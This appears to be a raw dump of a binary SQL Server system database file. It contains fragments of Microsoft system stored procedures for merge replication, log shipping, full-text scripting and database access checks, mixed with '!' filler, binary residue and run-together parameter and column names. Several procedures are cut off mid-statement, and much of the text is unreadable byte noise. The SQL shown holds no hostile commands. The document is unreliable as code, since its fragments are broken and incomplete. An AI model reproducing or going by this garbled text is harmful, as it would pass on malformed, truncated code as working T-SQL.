	(	select top 1 name from [sys].[tables] 
		where object_id = @object_id
		and is_tracked_by_cdc = 1
	) 
	begin
		return 1
	end

	return 0	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`ba<N
6
17 %0m@ 8
create procedure sys.sp_MSgetlastsentgen
    (@repid uniqueidentifier)
as
    declare @retcode    int

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if @retcode<>0 or @@ERROR<>0 return (1)

    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    if (@repid is null)
    begin
        RAISERROR(14043, 16, -1, '@repid', 'sp_MSgetlastsentgen')
        return (1)
    end

    select sentgen, sentguid from dbo.sysmergesubscriptions where subid = @repid
    return (0)
0Z_m !8create function sys.fn_MSmerge_isrepublisher (@artid uniqueidentifier)
returns bit
as
begin
    if exists (select pubid from dbo.sysmergearticles where artid = @artid and (sys.fn_MSmerge_islocalpubid(pubid) = 0))
        return 1

    return 0
end
0u 08create function sys.fn_replmakestringliteral (
    @string nvarchar(4000)
    ) returns nvarchar(4000)
as
begin
    declare @string_literal nvarchar(4000)
    select @string_literal = N'N''' + replace(@string, '''', '''''') + N''''
    return @string_literal
end
09Vw h8Ygh>8^}M0u 8
create proc sys.sp_MShelpfulltextscript
   @tablename nvarchar(517)
as
   set nocount on

	declare @objid int
	select @objid = object_id(@tablename)
	if (@objid is null)
	begin
		RAISERROR (15001, -1, -1, @tablename)
		return 1
	end

   /* prepare the information for fulltext index scripting */
   declare @activate    int
   select @activate = OBJECTPROPERTY(@objid, N'TableFulltextCatalogId')
	if (@activate <> 0)
      begin
      declare @uniqueindex nvarchar(128)
      declare @catname     nvarchar(128)

      /* get unique index name */
      select @uniqueindex = i.name from dbo.sysindexes i where @objid = i.id and IndexProperty(@objid, i.name, N'IsFulltextKey') = 1
      /* get catalog name */
      select @catname = f.name from dbo.sysfulltextcatalogs f, dbo.sysobjects o where f.ftcatid = o.ftcatid and o.id = @objid
      if (@uniqueindex is not null and @catname is not null)
         begin
         /* is this table fulltext index activated? */
         select @activate = OBJECTPROPERTY(@objid, N'TableHasActiveFulltextIndex')
         select @uniqueindex, @catname, @activate
         end
      end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A`	<m7
2gd0@ 8create procedure sys.sp_processlogshippingmonitorprimary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@primary_id uniqueidentifier
    ,@primary_server sysname = NULL -- needed for add
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit 
    ,@primary_database sysname = NULL -- needed for add
    ,@backup_threshold int = NULL 
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_backup_file nvarchar(500) = NULL
    ,@last_backup_date datetime = NULL
    ,@last_backup_date_utc datetime = NULL
    ,@history_retention_period int = NULL
)
as
begin
    set nocount on
    declare @retcode int
    
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- This should be called only on the remote monitor server
    --
    if (@monitor_server is null or upper(@monitor_server) != upper(@@servername) 
            or upper(@monitor_server) = upper(@primary_server))
        return 0
    --
    -- must be invoked from MSDB
    --
    if (db_name() != N'msdb')
    begin
        raiserror (21482, 16, -1, N'sp_processlogshippingmonitorprimary', N'msdb')
        return 1
    end
    --
    -- call the internal proc now
    --
    exec @retcode = sys.sp_MSprocesslogshippingmonitorprimary @mode = @mode
                ,@primary_id = @primary_id
                ,@primary_server = @primary_server
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@primary_database = @primary_database
                ,@backup_threshold = @backup_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@last_backup_file = @last_backup_file
                ,@last_backup_date = @last_backup_date
                ,@last_backup_date_utc = @last_backup_date_utc
                ,@history_retention_period = @history_retention_period
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0n@ 8create procedure sys.sp_user_counter9 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 9', @newvalue)
0 8create function sys.fn_MSmerge_get_syncview_name (@pubname sysname, @artname sysname, @pubid uniqueidentifier, @artid uniqueidentifier)
returns sysname
as
begin
    declare @viewname nvarchar(300)
    declare @i int
    declare @qualified_viewname nvarchar(305)
    declare @article_name_long bit
    declare @publication_name_long bit
    
    select @viewname = 'MSmerge_' + @pubname + '_' + @artname + '_VIEW'
    if (len(@viewname) > 128)
    begin
        if (len(@pubname) > 60)
            select @publication_name_long = 1
        else
            select @publication_name_long = 0

        if (len(@artname) > 60)
            select @article_name_long = 1
        else
            select @article_name_long = 0

        if @publication_name_long = 0
        begin
            select @viewname = 'MSmerge_' + @pubname + '_' + sys.fn_MSguidtostr(@artid) + '_VIEW'
            return @viewname
        end
        else
        begin
            if @article_name_long = 0
            begin
                select @viewname = 'MSmerge_' + sys.fn_MSguidtostr(@pubid) + '_' + @artname + '_VIEW'
                return @viewname
            end
            else
            begin
                select @viewname = 'MSmerge_' + sys.fn_MSguidtostr(@pubid) + '_' + sys.fn_MSguidtostr(@artid) + '_VIEW'
                return @viewname
            end
        end
    end
    else
    begin
        return @viewname
    end

    return @viewname
end
06 8
create proc sys.sp_MSSharedFixedDisk
as
   set nocount on

   create table #Tmp1
      (
      name         nvarchar(132),
      low          int,
      high         int,
      media        int,
      )
   create table #Tmp2
      (
      drivename    nvarchar(132),
      )
   declare @DriveName nvarchar(132)

   declare hC cursor global for select * from ::fn_servershareddrives()
   open hC
   fetch next from hC into @DriveName
   while (@@FETCH_STATUS = 0)
      begin
      insert #Tmp2 select @DriveName
      fetch next from hC into @DriveName
      end
   close hC
   deallocate hC

   insert into #Tmp1
   execute sys.xp_availablemedia 15

   select 'name' = name, 'low free' = low, 'high free' = high, 'media type' = media from #Tmp1, #Tmp2
          where (SUBSTRING(#Tmp1.name, 1, 1)) like (SUBSTRING(#Tmp2.drivename, 1, 1))

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	<	`<(8
1 $v
create proc sys.sp_MSdbuseraccess
	@mode nvarchar(10) = N'perm', @qual nvarchar(128) = N'%'
as
   set deadlock_priority low
   
   create table #TmpDbUserProfile (
      dbid        int NOT NULL PRIMARY KEY,
      accessperms int NOT NULL
      )

   create table #TmpOut (
      name        nvarchar(132) NOT NULL,
      version     smallint,
      crdate      datetime,
      owner       nvarchar(132),
      dbid        smallint NOT NULL,
      status      int,
      category    int,
      status2     int,
      fulltext    int,
      )

   set nocount on

   declare @accessbit int
	if (lower(@mode) like N'perm%') begin
      /* verify */
      declare @id int, @stat int, @inval int
      select @id = dbid, @stat = status from master.dbo.sysdatabases where name = @qual
      if (@id is null) begin
         RAISERROR (15001, -1, -1, @qual)
         return 1
      end

      /* Can we access this db? */
      declare @single int
      select @single = (CASE WHEN DATABASEPROPERTYEX(@qual, N'UserAccess') = N'SINGLE_USER' THEN 1 ELSE 0 END)
/*      if ((@single <> 0) or ((@stat & SQLDMODBStat_Inaccessible) <> 0)) begin  */
      if ((@single <> 0) or
         (DATABASEPROPERTYEX(@qual, 'Status') = 'SUSPECT') or
         (DATABASEPROPERTYEX(@qual, 'Status') = 'OFFLINE') or
         (DATABASEPROPERTYEX(@qual, 'Status') = 'RESTORING') or
         (DATABASEPROPERTYEX(@qual, 'Status') = 'RECOVERING'))
      begin
         select @inval = 0x80000000
         select @inval
         return 0
      end
      select @accessbit = has_dbaccess(@qual)
      if ( @accessbit <> 1) begin
         select @inval = 0x40000000
         select @inval
         return 0
      end

      /** OK, we can access this db, need to go to the specified database to get priv bit **/
      declare @dbTempname nvarchar(258)
      declare @tempindex int
      SELECT @dbTempname = REPLACE(@qual, N']', N']]')
      exec (N'[' + @dbTempname + N']' + N'..sp_MSdbuserpriv ')
      return 0
   end

   /* If 'db', we want to know if what kind of access we have to the specified databases */
   /* If we are not in master, then we are selecting single database, we want to correct role bit to save round trip */
   if (lower(@mode) like N'db%') begin
      /* Make sure we're either in master or only doing it to current db. */
      declare @dbrole int
      select @dbrole = 0x0000

      if (db_id() <> 1)
         select @qual = db_name()

      /* If dbname contains ', double it for the cursor, since cursor statement is inside of '' */
      declare @qual2 nvarchar(517)
      SELECT @qual2 = REPLACE(@qual, N'''', N'''''')

      /* Preprocessor won't replace within quotes so have to use str(). */
      declare @invalidlogin nvarchar(12)
      select @invalidlogin = ltrim(str(convert(int, 0x40000000), 11))
      declare @inaccessible nvarchar(12)
      select @inaccessible = ltrim(str(convert(int, 0x80000000), 11))

      /* We can't 'use' a database with a version below the minimum. */
      /* SQL6.0 minimum is 406; SQL65 requires 408.  SQL70 database version is 408 now, it might change later */
      declare @mindbver smallint
      if (@@microsoftversion >= 0x07000000)
         select @mindbver = 408
      else
         select @mindbver = 406

      /* Select all matching databases -- we want an entry even for inaccessible ones. */
      declare @dbid smallint, @dbidstr nvarchar(12), @dbstat int, @dbname nvarchar(258), @dbver smallint
      declare @dbbits int, @dbbitstr nvarchar(12)

      /* !!! work around here, if name contains '[', LIKE operator can't find it, since LIKE operator it treating '[' as a wild char */
      /* !!! but @qual2 might be '%', then = operator does not work */
      declare @temp int
      select @tempindex = charindex(N'[', @qual2)
      if (@tempindex <> 0)
         exec(N'declare hCdbs cursor global for select name, dbid, status, version from master.dbo.sysdatabases where name = N''' + @qual2 + N'''')
      else
         exec(N'declare hCdbs cursor global for select name, dbid, status, version from master.dbo.sysdatabases where name like N''' + @qual2 + N'''')

      open hCdbs

      /* Loop for each database, and if it's accessible, recursively call ourselves to add it. */
      fetch hCdbs into @dbname, @dbid, @dbstat, @dbver
      while (@@fetch_status >= 0) begin
         /* Preprocessor won't replace within quotes so have to use str(). */
         select @dbidstr = ltrim(str(convert(int, @dbid)))

         /* If it's a single user db and there's an entry for it in sysprocesses who isn't us, we can't use it. */
         declare @single_lockedout int
         select @single_lockedout = (CASE WHEN DATABASEPROPERTYEX(@dbname, N'UserAccess') = N'SINGLE_USER' THEN 1 ELSE 0 END)
         if (@single_lockedout <> 0)
            select @single_lockedout = 0 where not exists
               (select * from master.dbo.sysprocesses p where dbid = @dbid and p.spid <> @@spid)

         /* First see if the db is accessible (not in load, recovery, offline, single-use with another user besides us, etc.) */
/*         if ((@single_lockedout <> 0) or ((@dbstat & SQLDMODBStat_Inaccessible) <> 0) or (@dbver < @mindbver)) begin   */
         if ((@single_lockedout <> 0) or
            (@dbver < @mindbver) or
            (DATABASEPROPERTYEX(@dbname, 'Status') = 'SUSPECT') or
            (DATABASEPROPERTYEX(@dbname, 'Status') = 'OFFLINE') or
            (DATABASEPROPERTYEX(@dbname, 'Status') = 'RESTORING') or
            (DATABASEPROPERTYEX(@dbname, 'Status') = 'RECOVERING'))
            begin
            /* Inaccessible, but we can set dbo if we're sa or suser_id() is db owner sid. */
            exec (N'insert #TmpDbUserProfile values (' + @dbidstr + N', ' + @inaccessible + N')')
            end
         else begin
            /* Find out whether the current user has access to the database */
            select @accessbit = has_dbaccess(@dbname)
            if ( @accessbit <> 1) begin
               exec (N'insert #TmpDbUserProfile values (' + @dbidstr + N', ' + @invalidlogin + N')')
               end
            else begin
               /* Yes, current user does have access to this database, we are not trying to get priv at this point */
               select @dbbits = 0x03ff
               select @dbbitstr = ltrim(convert(nvarchar(12), @dbbits))
               exec (N'insert #TmpDbUserProfile values (' + @dbidstr + N', ' + @dbbitstr + N')')
               end
            end

         fetch hCdbs into @dbname, @dbid, @dbstat, @dbver
      end /* while FETCH_SUCCESS */
      close hCdbs
      deallocate hCdbs

      /* Select sysdatabases info into temp table first to avoid deadlock in restore process */
      if (@tempindex <> 0)
         insert #TmpOut
         select o.name, o.version, o.crdate, suser_sname(o.sid), o.dbid, o.status, o.category, o.status2, CONVERT(INT, DatabasePropertyEx(o.name, N'isfulltextenabled'))
            from master.dbo.sysdatabases o where o.name = @qual
      else
         insert #TmpOut
         select o.name, o.version, o.crdate, suser_sname(o.sid), o.dbid, o.status, o.category, o.status2, CONVERT(INT, DatabasePropertyEx(o.name, N'isfulltextenabled'))
            from master.dbo.sysdatabases o where o.name like @qual

      /* 1. If on all databases, then dbrole is dummy, need to get it later */
      /* 2. Do not double the ' character(s) in database name */
      /* 3. To speed up connection, accessperms column only indicate whether the login user can access the db, it does not contain */
      /*    permission info, we will retrieve the permission info through sp_MSdbuserpriv when necessary */
      /* !!! work around here, if name contains '[', LIKE operator can't find it, since LIKE operator it treating '[' as a wild char */
      /* !!! but @qual2 might be '%', then = operator does not work */
      if (@tempindex <> 0)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9
3
7$vy$PP>9aZAtFaZA"+uu@S)Ls+Jm'	^				
=
l


5^6

;
b



:c
@k:[_4m<m-L [,Y~
Bg%R#fAz-N/rErSt* M    !!R!}!!!2"o"""#9#f####$I$r$$$$$%S%%%%&N&y&&&'-'X''''(;(^((()*)g))))I*j****JC?0$BB}
@7@active_end_date0$BB$BI@active_start_time_of_day0BB9c@)@agent_id00B@UU@-@agent_type0ABID@#@alter0CB"""@'@article0C\B9C@#@artid0@Br@9@backup_threshold0BB?9@capture_instance0PABEW@#@ccopt0 A|B]?@cmd0`AA?#@colid0B`B`@/@column_name0AA`@'@command0AhBh@/@compatlevel00AA@5@conflict_table0@B@7@creation_script0A`B)\@)@database00AB?'@db_name04BAm[@%@dbname0AB
@/@description0AB9@;@destination_owner0ABmK@/@distributor0PABى@A@dts_package_location0 ABx@E@dynamic_snapshot_jobid0@ABUUE@C@enumentirerowmetadata0PAB33?)@filename0AAr?3@filter_clause0@dB?7@flush_frequency0ABS?K@force_invalidate_snapshot0pAhBwww@#@found0$BBAO@frequency_recurrence_factor0$BB$B5@frequency_type0ABx@1@full_or_fast0 A0Bj@@gen0?dB?1@generation3500ABr?'@genlist0ABUU=@%@handle0PAB?I@history_retention_period0AB@=@ignore_distributor0AB7=@-@index_name0pA\BUU?)@internal0ABև?%@job_id0BDBA1@job_password0@B=@!@lcid0?BO?3@lineage_new670?B?3@lineage_old900@LB?+@log_error0ABnv@)@loginame0PABT?'@maxrows0 AdBff6@'@message0?B,?7@metadata_type890dB<Bף?!@mode0lBTBq@!@name0 ADBxx?)@newvalue0@B@)@nickname0pApB?%@object0B$Bm@#@objid0AA@'@ODBCVer0@AB9@C@optional_command_line0BBP@#@owner0AA@@p10ABQ@5@parameter_name0,BBozS@)@password0@`B?7@pk_table_schema0pAB@9@primary_database0BB;@)@procname0AA8N@)@property0YCHBUU@#@pubid0	D@@?/@publication0ClB̼@+@publisher0C@@1@publisher_db0AlB@7@publisher_login0B4B4A5@publisher_type0BpA@@3@publishertype0?B?!@q1710?B?@q610@$B?9@qreader_job_name0 ABii)@+@range_end0?|B?G@reinitialize_subscriber0AB,"@)@reserved0@Aii?;@restore_threshold0 BBT@'@rowguid0@Bףp@)@rowguid30@B@+@rowguid590@B@+@rowguid880ABQ@+@runstatus0?BG@-@scriptonly0BBy^@%@server0@B@/@show_distdb0PAB?/@source_dbms0AB.@1@source_owner0PAB@5@source_version0AB?%@status0CB6W@-@subscriber0B@@@3@subscriber_db00BB&W@;@subscription_type0pABb'6@#@table0BAxA-@table_name0B BUUUA1@table_schema0pBBpA+@tablenick0@|B@)@this_col0@B-da@+@tracer_id0BB@!@type0@@B~?C@use_default_datatypes0 BB5@#@value0`AA	@'@version0AxB@-@xact_seqno0@B'?7allocated_memory0ABF?-assembly_id0@@|B5?9AUTO_UNIQUE_VALUE0?B??BOOKMARK_INFORMATION0@xB?-Byte Offset0`AB}@GCHARACTER_MAXIMUM_LENGTH0AB;Q@!class0AB@3COLLATION_NAME0`APBy@-COLUMN_GUID0AB@-COLUMN_NAME0pA0Bq@%command0`AHBI?/component_id0@BG!@Ccontext_switches_count08BBd@-create_date0?|B@@#crrows0BBO@-database_id0?B\"@+DBUserName0 A`Bz@+definition0AB?-description0@@B?-document_id0pAB
@'end_time0@AlB4@'error_id0@@B$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(:
3Kv@-family_guid0@B@9filter_definition0AhBP?!flags0AB??'group_id0@|B@@Mhas_unchecked_assembly_data0DBxB,?Id0AB?'index_id0@xB|?]internal_objects_dealloc_page_count0@BE>?9is_admin_endpoint0@lB1?1IS_COLUMN_SET00A|Bff@-is_disabled0@BUU?/IS_GRANTABLE0AB?;is_merge_published0ALB@@-IS_NULLABLE0@|B(@/is_qualified0ABr@=is_schema_published0@B<@1is_updateable0@Bvb?+key_length0@BUU%@9last_elapsed_time0@BY@7last_worker_time0@Bo?Elob_reserved_page_count0?B$?=logical_volume_name0?BUU?3max_event_size0@@Br'@1MAXIMUM_SCALE0`A`B?Amemory_object_address0?B@%minleaf04BBr?-modify_date0bCB?name0?B?%nullbit0BBӛ^@)object_id0@B>8@?open_resultset_count0A8B@7ORDINAL_POSITION0@@Bo?)page_type0?B2@+parent_obj0BB۶-@-pdw_node_id0PAtB?1physical_name0ABLh/@)precision0|BTB%I?/principal_id0@B<@?process_user_time_ms0?BS$@!pubid0?B?%re_prec0@@B~?)refcounts0@BUU?Mremoved_in_all_rounds_count0A@BN?+request_id0@Bף?-return_code0@B?9RowLog Contents 20BB?!SCALE0?B,@-scope_batch0@B?+Server UID0?B,@7SessionLoginName0@@Bff@3SORT_BOOKMARKS0PABF?+sql_handle0@Br'@-ss_usertype0(BBnF@!state0BDBQ@#status0@@B?Csynchronization_health0BlB<@1TABLE_CATALOG0BxBff@/TABLE_SCHEMA0@B?)thread_id0@Br@=total_logical_reads0AB@Gtransaction_sequence_num0CAr?type0?B@+UDT_SCHEMA0@B?Quser_objects_alloc_page_count0AB
c@!value0@BUU@)wait_type0AB?9xml_collection_id0@@0B;@)xusertype0@?-yield_count1((@18data2dataaccentsensitivetionve_end_datetime_of_daystart_dateendtimeofdaydd_to_active_directorygent_idtypellow_partition_realignmentqueued_tranweb_synchronizationterrecguidrtcolcountericlerelative_costsoptionnickssembly_referencedutogen_sync_procsbackup_source_directoryse_objidinary8_valuerowse_information_modecapture_instancetalogegory_idcopthange_activeeck_onlyleaning_delaymdtxtol5idxposumn_nametrackingmmandongenguidpatlevelnflict_procstraint_catalogunter_descurrentdatetoff_datedatabaseIdlogical7physical7source_pathb_namemsPrincipalebugfnamelivered_commandsscriptiont_tableination_dbfolderobjectwnerscaleversionistanceBufferribution_job_name_loginsecurity_modeotnet_class_nameso_typets_package_namepasswordynamic_filter_logins_function_listsnapshot_jobnameemailoperatornamenabled_for_p2pcrypted_passwordumentirerowmetadataventDataxistsfailure_levelilegroup3ter_clauses_drop_tablelagsname1331rce_invalidate_snapshotreinit_subscriptioneignkey_tab_namewardingseverityreqintervalsubintervaluency_intervalrecurrence_factorlative_intervalsubdayom_lsntp_addressull_or_fastsePatterntureonlygencheckeration2240597794GeoObjrantoroup_numberhandles_dynamic_filterselp_urlistory_retention_periodoursentity_insertgnore_distributorremotemonitorncolvdependent_agentx_namelineagesColumnListternalvalidateupload_schemachanges_for_ssces_newuser_definedjob_idin_tablelangst_copied_date_utcsync_statusvel0typeightweightneage_new1735537189old1432506986k_acquiredg_errorical_record_level_conflict_resolutionsizesnsourcemax_bcp_gengen_whenaddedscanstypestomatchingnonmaxtypesembernamessagetadata_type18365472in_identitynitor_server_security_mode_in_dbestedwnamext_range_beginseedicknameorecomputeum_genhistory_rowsobject_idTypeDBCVerffloadserverldmaxgenp_typetional_command_lineriginal_publishertor_dbpublication_idp1p_originator_idaram_counteter_nameent_nametition_function_idss_through_scriptseer_db_versionhasek_table_cataloglan_handleostcommandfix_tablenameimary_databasekey_bitmapvilegeocedure_ownerfile_idpertyxied_colvub_identity_rangeengine_editionq1136885202394967ual_object_nameified_nameeue_idlast_valueeason_textferenced_object_namemoteserverplacecharicate_partition_switchquest_idservedponse_conflict_retentiontrictedurn_count_of_rows_initially_enumeratedmtpasswordolenamewcount638190arrays_tobe_deletedunstatus_optionsu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;
3vbtypeript_txtolloptecondary_serverquence_numberssion_idhouldalertutdown_agentkipobjectactivationnapshot_job_nameource_dbmslength_maxnullableprecision_maxpatialtypestovarbinarymaxrc_objidvrolenametat_schema_batch_sizeream_blob_columnsubidscriberprovider_stringption_leveltype_adddfpports_net_changesync_modetabidqualifierrgetobjecthirdparty_optionsreshold_alert_enabledimeoutopNumran_idigger_ids_colunamepd_procate_modeable_rowload_optionsse_ftprAgents_suser_snameqlclrer_oldiew_namewarningith_logxact_seqnoml_outputaction_in_logve_requestsffinityg_namelert_instance_idlocated_page_iam_file_idUnitNamensi_null_dflt_onppdomain_idrtgeninscmdssembly_idttributeudit_idthorized_spatial_reference_idovalvg_fragment_size_in_pagesBackupDescriptionse_idegin_update_lsnitlengthOOKMARK_TYPEucketids_min_lengthlk RowsetIdcache_addressp_cpu_percenttalog_idell_IdHARACTER_MAXIMUM_LENGTHOCTET_LENGTHSET_CATALOGNAME_90eckpoint Endifier_function_idock_handmdTypePartialUpdolidLATION_CATALOGSCHEMAorderUMN_DEFAULTGUIDPROPIDit_sequence_numpatibilityLevelonent_idncat_null_yields_nullnected_stateSTRAINT_CATALOGumer_nametext_switches_countversation_idunter_namepu_idreate_dateor_sidypt_type_descurrent_principalsor_rowsdata_space_idbase_idtransaction_begin_timemost_recent_savepoint_lsnE_MODIFIEDECLARED_NUMERIC_SCALEfault_memory_clerk_addresslete_accessptypeSCRIPTIONtination_precisionialog_timerfferentialBaseLSNspatcher_timeout_mstribution_policy_descoc_failedMAIN_CATALOGriveNameec_addressncryptedd_compile_timeTimetry_addressrror_countvent_dataxecute_as_principal_idtent_page_idfailure_condition_levelcompletegidfsGroup IDrst_begin_cdc_lsnupdatelsnkey15ormat LSNrame_indexulltext_catalog_idgranted_memory_kbORoup_idwthhandle_ids_opaque_metadatah_bucket_countost_addresstvaldepsubidx_idRowLengthTEGRATEDrnalPidvalidateCache keyss_acceptnonymous_enableduto_create_stats_oncaller_dependentommit_participanturrent_ownerdefaultts_replicatedenqueue_enabledfilestreamXEDLENGTHhypotheticalin_polling_io_completion_routinelocalmerge_publisheds_shippednon_sql_subscribedULLABLEpaddedreemptiveread_onlypeatablestriction_blockedschema_bound_referenceelect_alltate_enabledystem_namedtrigger_eventxml_documentsqlrolekernel_paged_pool_kby_ordinallanguagerge_value_types_out_of_rowst_commit_timeexecution_timelogical_writesrequest_end_timesystem_seekuser_seekoordercidENGTH_28imitIdocal_principal_idTYPE_NAMEk_timeoutg_consumer_deletingical_device_namen_state_descpoolmgr_ref_countermajor_idster DBIDX_DYNAMIC_RESULT_SETSogical_readsphysical_readsused_memory_kbimumemory_addressnode_idusagessage_sequence_numberin_cpu_percentrroring_safety_level_descify_dateunt_expiration_timeust_be_qualifiedet_libraryw_log_interestingull_valueM_PREC_RADIXERIC_PRECISIONffsetn_failurepen_transaction_countlsn_slotidrdinal_positionS_process_creation_datewneridpage_allocator_addresslatch_wait_in_msFormat FormatOptions_kbrameter_ident_connection_idtition_numberdw_node_idending_io_countrmission_sethysical_iolan_guide_idool_idplog Begin LSNvious_valueorityVILEGE_TYPEocedure_numberss_cpu_usageed_row_countgressperty_idtocolvt_key_encryption_typequery_hashorum_typere_colidad_countcord_length_first_part_in_bytesveryModelerenced_database_nameschema_namegistered_bymoteserveridpl Partition IDq_cryrefcntowner_typesource_associated_entity_idsemaphore_idturn_codekeydbidound_start_timeoverflow_used_page_countLog Contents 